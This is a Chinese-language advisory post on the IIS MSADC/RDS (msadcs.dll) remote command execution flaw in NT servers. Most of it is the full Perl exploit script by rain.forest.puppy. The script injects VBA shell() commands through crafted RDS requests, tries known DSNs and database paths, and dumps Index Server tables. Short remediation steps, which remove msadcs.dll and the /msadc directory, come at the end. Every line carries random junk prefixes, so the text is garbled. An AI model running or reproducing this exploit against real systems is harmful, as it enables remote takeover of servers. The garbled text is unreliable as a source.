IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z-m:l; Ygc.0VKMR 涉及程序：
(r/))I9^ Microsoft NT server
x, Z:12H0 KouIzWf. 描述：
H]( TSt<Q" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
s]Z++Lh<{ 3j\Py'}; 详细：
!RwMUnp 如果你没有时间读详细内容的话，就删除:
uOJso2Mx c:\Program Files\Common Files\System\Msadc\msadcs.dll
@5{h+ ^ 有关的安全问题就没有了。
D
4<,YBvV >S@><[C 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vu3zZMl emG1Wyl 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
9>ML ;$T& 关于利用ODBC远程漏洞的描述，请参看:
.NMZHK?% / ;WFRp. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $?y\3G X H(DI /"N 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
gH/( 4h http://www.microsoft.com/security/bulletins/MS99-025faq.asp OySn[4`(i /J!~0~F 这里不再论述。
{4r } jH TE-(Zil\ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
v,c;dlg_ }i52MI1-XP /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n!L}4Nmp 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/ gP"X1. UVD*GsBk 1 Ay.^f #将下面这段保存为txt文件，然后: "perl -x 文件名"
vs{ xr*Ft S+u@
Q} #!perl
?:Rw[T@
l #
%Vhj< gN # MSADC/RDS 'usage' (aka exploit) script
M<b a+Qn$ #
?GGBDql # by rain.forest.puppy
86 W.z6 #
}8Nr .gY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
@+Anp4%;Y # beta test and find errors!
HjT -5>I7f aPHNX) use Socket; use Getopt::Std;
sM@1Qyv&0 getopts("e:vd:h:XR", \%args);
te+r.(p `t2Y IwOK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
"cGjHy\j` e\ ! i c if (!defined $args{h} && !defined $args{R}) {
b"eG8 print qq~
\i As Usage: msadc.pl -h <host> { -d <delay> -X -v }
C,,S<=L: -h <host> = host you want to scan (ip or domain)
8>'vzc/* > -d <seconds> = delay between calls, default 1 second
>(F y6m -X = dump Index Server path table, if available
V -lp';bD -v = verbose
m">2XGCn -e = external dictionary file for step 5
yK w.69. vgN%vw pL Or a -R will resume a command session
\1oN' t. y)T|1) ~; exit;}
G`z=qa j ' [%?j?2r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
r[3 2'E if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q$x
3uH\@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Nx<fj=VJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-~]]%VJP| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
):nC&M\W~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
X yD*V;.E (4IH%Ez){ if (!defined $args{R}){ $ret = &has_msadc;
A5,(P$@ k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|\N))K-2D du&9mOrr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
6,(S}x
YDZ . "cmd /c ";
.Kssc lSD1 $in=<STDIN>; chomp $in;
J"Nn.iVq $command="cmd /c " . $in ;
#4F0o@Z ]EEac if (defined $args{R}) {&load; exit;}
$`_xP1bUT U)D}J_Zi( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+,J!xy+~, &try_btcustmr;
vO8CT-) ~;I'.TW print "\nStep 2: Trying to make our own DSN...";
8xYe aK &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
eMUs w5= RIq\IQ_| print "\nStep 3: Trying known DSNs...";
W@61rT} c &known_dsn;
)
-@Dh6F #g]eDU-[ print "\nStep 4: Trying known .mdbs...";
Qo+Y &known_mdb;
.> ^U
mM 9Qn*frdY, if (defined $args{e}){
<' vtnz print "\nStep 5: Trying dictionary of DSN names...";
W=2#Q2) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<4%PT2R goc"+ K print "Sorry Charley...maybe next time?\n";
NQ,2pM<*- exit;
cL: hjr" 3j w4# GW ##############################################################################
yi,Xs|%. xDIl sub sendraw { # ripped and modded from whisker
L4{+@T1A[ sleep($delay); # it's a DoS on the server! At least on mine...
F*=}}H / my ($pstr)=@_;
]9~6lx3/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^2uT!<2 die("Socket problems\n");
o.])5i_HV if(connect(S,pack "SnA4x8",2,80,$target)){
2Y%E.){ select(S); $|=1;
%R?#Y1Tq; print $pstr; my @in=<S>;
3.@ir"vy select(STDOUT); close(S);
j\2q2_f return @in;
D >K=D " } else { die("Can't connect...\n"); }}
K<f B]44Y 'V} 4_3#q ##############################################################################
tFX!s; N[ WP4 "$W sub make_header { # make the HTTP request
X,`e1nsR my $msadc=<<EOT
O:+?:aI@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wg|/-q- User-Agent: ACTIVEDATA
WR}<^a x Host: $ip
E*8).'S%k Content-Length: $clen
4?l:.\fB: Connection: Keep-Alive
XvkFP'%i/ c)zwyBz ADCClientVersion:01.06
$%"~ .L4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JvM:x y9 t8t +wi! --!ADM!ROX!YOUR!WORLD!
"^5 % g% Content-Type: application/x-varg
-\M;bQV[C Content-Length: $reqlen
idNg&' Fy^MI*}BZ EOT
YBQ{/"v%| ; $msadc=~s/\n/\r\n/g;
hvF>Tu]^r return $msadc;}
dA$qzQ I->4Q&3 ##############################################################################
Fd >epvR w'<" 5F` sub make_req { # make the RDS request
)OV2CP my ($switch, $p1, $p2)=@_;
YI),yj my $req=""; my $t1, $t2, $query, $dsn;
#80M+m nf S.0\z if ($switch==1){ # this is the btcustmr.mdb query
K7]QgfpSZ $query="Select * from Customers where City=" . make_shell();
Hs(U|BXU $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
DQ= /Jr~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
d U#} Tk ,5P
tB]8&3 elsif ($switch==2){ # this is general make table query
Og(|bs!6 $query="create table AZZ (B int, C varchar(10))";
U$j?2|v-x $dsn="$p1";}
}N
W01nee LRv[,]b elsif ($switch==3){ # this is general exploit table query
Ypw:Vp $query="select * from AZZ where C=" . make_shell();
jC L 1Bj $dsn="$p1";}
<xr\1VjA wQN/MYF[ elsif ($switch==4){ # attempt to hork file info from index server
/t_AiM,( $query="select path from scope()";
pFwh v w $dsn="Provider=MSIDXS;";}
CF/8d6}Vf z460a[Wl elsif ($switch==5){ # bad query
q 1+{MPJ $query="select";
4_h?E:sBb $dsn="$p1";}
[,ZHn$\ 5VGr<i&A $t1= make_unicode($query);
`_>44!M $t2= make_unicode($dsn);
OL yl.#J $req = "\x02\x00\x03\x00";
3ULn ]jA $req.= "\x08\x00" . pack ("S1", length($t1));
F' ^?s= QX $req.= "\x00\x00" . $t1 ;
YUQKy2 $req.= "\x08\x00" . pack ("S1", length($t2));
_:VIlg
U $req.= "\x00\x00" . $t2 ;
}vt> }%% $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
YF<U'EVU- return $req;}
&\AW} xp ]xN )>A2 ##############################################################################
|/O_AnGI 0 LIRi%N5* sub make_shell { # this makes the shell() statement
S/x CX! return "'|shell(\"$command\")|'";}
a,KqTQB b1-' q^M ##############################################################################
)H- y wZKEUJpQ sub make_unicode { # quick little function to convert to unicode
8U7 X/L
my ($in)=@_; my $out;
qBqh>Wo for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@Jr@
fF } return $out;}
?a'P;&@7 \Qei }5P, ##############################################################################
z-?WU poVtg}n sub rdo_success { # checks for RDO return success (this is kludge)
l jJR7< my (@in) = @_; my $base=content_start(@in);
JId|LHf*P if($in[$base]=~/multipart\/mixed/){
]rc =oP; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
' +E\-X return 0;}
4' ` y5E QZamf
lk ##############################################################################
. ? *TU~S */A ~lR| sub make_dsn { # this makes a DSN for us
ZoroK.N4A% my @drives=("c","d","e","f");
8 J;\Z print "\nMaking DSN: ";
6:q h% ZR foreach $drive (@drives) {
U$ 22 r b print "$drive: ";
7r wNjY# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&,C;_3
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m$B)_WW . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
dn:/8~B"X $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3Tz~DdB return 0 if $2 eq "404"; # not found/doesn't exist
jt6,id)& if($2 eq "200") {
+<w\K* foreach $line (@results) {
T {zz3@2? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
n$y@a? al } return 0;}
::8c pUc`f ($[)Tcq*~ ##############################################################################
s.XLC43Rs Y@Ti2bI`v sub verify_exists {
B%/N{i*Z my ($page)=@_;
}+i ~JK my @results=sendraw("GET $page HTTP/1.0\n\n");
P%Tffsl
return $results[0];}
*#Hw6N0# zoHFTD4 g ##############################################################################
t B Kra
%)!b254 sub try_btcustmr {
1eMz"@ Q9 my @drives=("c","d","e","f");
s[#ww
=T\ my @dirs=("winnt","winnt35","winnt351","win","windows");
C !6d`| hO0g3^ foreach $dir (@dirs) {
G~KYFNHr print "$dir -> "; # fun status so you can see progress
S F&EVRv foreach $drive (@drives) {
Kzrt%DA print "$drive: "; # ditto
L5A?9zum/! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
x$=""?dd $reqlenlen=length( "$reqlen" );
pDM95.6 $clen= 206 + $reqlenlen + $reqlen;
I Jv+si:k gkL{]*9&% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-1c{Jo if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<^fvTb &* else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
sH / 08 Z *W$bhC'w ##############################################################################
N Ah^2X K5EU?J& sub odbc_error {
_Sn45h@" my (@in)=@_; my $base;
p@jwHlX my $base = content_start(@in);
"*G p@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J0,;F9<C#X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gMUCVKGf $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E% d3}@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q@O e} return $in[$base+4].$in[$base+5].$in[$base+6];}
L1YiXJ,T, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
x5 ?>y {6D print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
d .t$V RO $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
; )rXQm &~sirxR p ##############################################################################
5;q{9wvqO 22FHD4 sub verbose {
/L*JHNu"_ my ($in)=@_;
mk]8}+^. return if !$verbose;
BSHtoD@e7 print STDOUT "\n$in\n";}
D%!GY 1wdn !FH m.E_> ##############################################################################
c!dc`R [ %6(1$Ih sub save {
D2MWrX my ($p1, $p2, $p3, $p4)=@_;
O7lFg;9c` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
a+P Vi print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
K | '`w. close OUT;}
%2^wyVkq: ?OF9 {$m3? ##############################################################################
`e^sQ>rDI $ uqB .f$ sub load {
'o%6TWl9s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
67T=ku open(IN,"<rds.save") || die("Couldn't open rds.save\n");
YG
J)_y @p=<IN>; close(IN);
@"__2\ 0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Am"e% |: $target= inet_aton($ip) || die("inet_aton problems");
<db>~@;X! print "Resuming to $ip ...";
rWNywxnT $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
os Z] R if($p[1]==1) {
5`p>BJ+ n $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
f_'8l2jK1i $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<#~n5W{l my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^wxpinJ> if (rdo_success(@results)){print "Success!\n";}
V?&P).5) else { print "failed\n"; verbose(odbc_error(@results));}}
g[ $4a4X elsif ($p[1]==3){
qA5 Ug if(run_query("$p[3]")){
^/fa sl$# print "Success!\n";} else { print "failed\n"; }}
J/B `c( elsif ($p[1]==4){
jchq\q)_z if(run_query($drvst . "$p[3]")){
{ pk]p~ print "Success!\n"; } else { print "failed\n"; }}
R(p3* t&n exit;}
W(\ ^6S) Cxra(!& ##############################################################################
"? ON0u9 3{9d5p|\i sub create_table {
} va>j fy my ($in)=@_;
3 @%XR8ss $reqlen=length( make_req(2,$in,"") ) - 28;
<d~si^*\ch $reqlenlen=length( "$reqlen" );
?tx."MZ $clen= 206 + $reqlenlen + $reqlen;
y7|
3]>Z my @results=sendraw(make_header() . make_req(2,$in,""));
S pk 8u4 return 1 if rdo_success(@results);
xq<X:\O my $temp= odbc_error(@results); verbose($temp);
lb\VQZp!y return 1 if $temp=~/Table 'AZZ' already exists/;
4Be\5Byr return 0;}
MIdViS.g D";@)\jN ##############################################################################
^]MLEr!S ' wni.E& sub known_dsn {
h&2l0 |8k # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fs0EbVDF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
% jn)=;\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\g R%PN "banner", "banners", "ads", "ADCDemo", "ADCTest");
v"-K-AQ jB -{A*`.[v foreach $dSn (@dsns) {
+aOQ'*g print ".";
y_r(06"z1 next if (!is_access("DSN=$dSn"));
(!%9# if(create_table("DSN=$dSn")){
9P dD =9HH print "$dSn successful\n";
tn}MKo if(run_query("DSN=$dSn")){
.zv BV_I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8p_6RvG print "Something's borked. Use verbose next time\n";}}} print "\n";}
q5{h@}|M +
f,Kt9Cy ##############################################################################
2]=`^rC* n+ S&[Y sub is_access {
`#"xgOSP> my ($in)=@_;
ZdgzPs " $reqlen=length( make_req(5,$in,"") ) - 28;
xSq{pxX $reqlenlen=length( "$reqlen" );
||4 T*B06 $clen= 206 + $reqlenlen + $reqlen;
'^M.;Giz my @results=sendraw(make_header() . make_req(5,$in,""));
(D0\uld9 my $temp= odbc_error(@results);
tE,&
G-jU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
EY A=fU return 0;}
Q2[; H!" yt<h!k$ _P ##############################################################################
+`tk LvM 9_fbl:qk;\ sub run_query {
p0h E`! my ($in)=@_;
E8BIb 'b; $reqlen=length( make_req(3,$in,"") ) - 28;
&O#,"u/q` $reqlenlen=length( "$reqlen" );
fj'7\[nZ $clen= 206 + $reqlenlen + $reqlen;
)3k?{1: my @results=sendraw(make_header() . make_req(3,$in,""));
<Q D[hO^/ return 1 if rdo_success(@results);
JJK-+a6cX my $temp= odbc_error(@results); verbose($temp);
Rqr>B(| return 0;}
bvS6xU-
J 3~:9ZWQ/ ##############################################################################
J4u>77I [0vqm:P sub known_mdb {
IKV!0-={!z my @drives=("c","d","e","f","g");
" = 6kH, my @dirs=("winnt","winnt35","winnt351","win","windows");
nJ h )iQu my $dir, $drive, $mdb;
3S"
/l my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9g]%}+D c(aykIVOo # this is sparse, because I don't know of many
QJ!2Vw4K my @sysmdbs=( "\\catroot\\icatalog.mdb",
yK -DzAv "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{
&Vt]9 "\\system32\\certmdb.mdb",
F^81?F i. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K&eT*JW> *wx95?H0Z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ERia5HnoD, "\\cfusion\\cfapps\\forums\\forums_.mdb",
Zz "8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Da8
|eN} "\\cfusion\\cfapps\\security\\realm_.mdb",
4w)> } "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4AMe>s "\\cfusion\\database\\cfexamples.mdb",
b!bg sd "\\cfusion\\database\\cfsnippets.mdb",
UE/JV_/S; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
E^A S65%bL "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
PQp/ &D4K "\\cfusion\\brighttiger\\database\\cleam.mdb",
0TZB}c#qT "\\cfusion\\database\\smpolicy.mdb",
sU U[QP- "\\cfusion\\database\cypress.mdb",
.N( X. C "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`]^W#6l "\\website\\cgi-win\\dbsample.mdb",
"By$!R -& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
> l]Ble "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Ft?eqDS1 ); #these are just
V>/,&~0 foreach $drive (@drives) {
vn!5@""T foreach $dir (@dirs){
hQ'W7EF foreach $mdb (@sysmdbs) {
YmOj.Q& print ".";
ea]qX6)UZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%z=:P{0UQ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
S`$%C=a. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x- ]:g&5T print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
2vh }:A_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
r)#W`A1{A @<`V q foreach $drive (@drives) {
Lq;T\m_de foreach $mdb (@mdbs) {
iD*Hh-
print ".";
e9HL)=YP if(create_table($drv . $drive . $dir . $mdb)){
[$; cjys print "\n" . $drive . $dir . $mdb . " successful\n";
1\~I "$} if(run_query($drv . $drive . $dir . $mdb)){
Va?i#<a print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(Ldvx_ } else { print "Something's borked. Use verbose next time\n"; }}}}
JJmW%%]i }
HNCu:$Wr@ k%X
$@NP ##############################################################################
*CPp U| 8|^& ~Rl4 sub hork_idx {
tGU~G& print "\nAttempting to dump Index Server tables...\n";
6 Ia HaV+P print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3n)$\aBE $reqlen=length( make_req(4,"","") ) - 28;
/
g {8 $reqlenlen=length( "$reqlen" );
a"X h $clen= 206 + $reqlenlen + $reqlen;
r-go921 my @results=sendraw2(make_header() . make_req(4,"",""));
6<T:B[a- if (rdo_success(@results)){
3& CV!+z my $max=@results; my $c; my %d;
zj h:jrv~ for($c=19; $c<$max; $c++){
`a83bF35 $results[$c]=~s/\x00//g;
E*`PD<:)H $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Hi$R"O
( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[T,Hpt $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2x9.>nwhb $d{"$1$2"}="";}
W=3#oX.GsU foreach $c (keys %d){ print "$c\n"; }
U[02 $gd0l } else {print "Index server doesn't seem to be installed.\n"; }}
T A0 (U$ 4 A]TEs)#*7) ##############################################################################
V?1[R =yz"xWH sub dsn_dict {
#:+F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ti (Hx while(<IN>){
57EX#:a $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Le:C8^ next if (!is_access("DSN=$dSn"));
[^s;Ggi9 if(create_table("DSN=$dSn")){
dW%t ph print "$dSn successful\n";
fLqjBG]< if(run_query("DSN=$dSn")){
T.3{}230< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
tsL
; wT_ print "Something's borked. Use verbose next time\n";}}}
l
_% <U print "\n"; close(IN);}
^8_yJ=~V ]XbMqHGS ##############################################################################
B{R [z%Y |Y05 *!\P* sub sendraw2 { # ripped and modded from whisker
mvK ^') sleep($delay); # it's a DoS on the server! At least on mine...
HE-5e):
k my ($pstr)=@_;
Ak,JPz T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a #"orc j die("Socket problems\n");
'~Cn+xf 4] if(connect(S,pack "SnA4x8",2,80,$target)){
)v_v 7 ~H& print "Connected. Getting data";
tT>LOI_z open(OUT,">raw.out"); my @in;
%4),P(4N select(S); $|=1; print $pstr;
YI
?P@y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:;.^r,QAI close(OUT); select(STDOUT); close(S); return @in;
)~)l^0X } else { die("Can't connect...\n"); }}
Ht4 O5yl" X!K> .r_Dg ##############################################################################
IycZ\^5 *- [#mk TY sub content_start { # this will take in the server headers
N|$9v{ j_ my (@in)=@_; my $c;
~ HhB@G!3 for ($c=1;$c<500;$c++) {
#Zw:&'
QB if($in[$c] =~/^\x0d\x0a/){
$BMXjXd} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
: M Y=Q]l else { return $c+1; }}}
:>JfBJ]| return -1;} # it should never get here actually
E`I(x&_ n)"JMzjQ< ##############################################################################
-f&vH_eK !5(DU~S*@S sub funky {
4pf@.ra, my (@in)=@_; my $error=odbc_error(@in);
,AweHUEn if($error=~/ADO could not find the specified provider/){
e}1Q+h\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
w(&EZDe exit;}
\.}T_,I if($error=~/A Handler is required/){
XQ9W
y print "\nServer has custom handler filters (they most likely are patched)\n";
V%s7*`U exit;}
>fzyD(> if($error=~/specified Handler has denied Access/){
j!>P7 8 print "\nServer has custom handler filters (they most likely are patched)\n";
OyV P_Yx,V exit;}}
Lo1ySLo$G ;W|NG3_y ##############################################################################
XDJE]2^52? 6T'UWh0S sub has_msadc {
=DJ:LmK my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
EN\cwa# FU my $base=content_start(@results);
,\iHgsZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0 ( wu return 0;}
( Fon!_$: KCyV |,+n ########################
sdZ$3oE. mdEJ'];AH 0|Fx Sc 解决方案：
'Og@<~/Xy 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?&#LmeZ}K 2、移除web 目录: /msadc
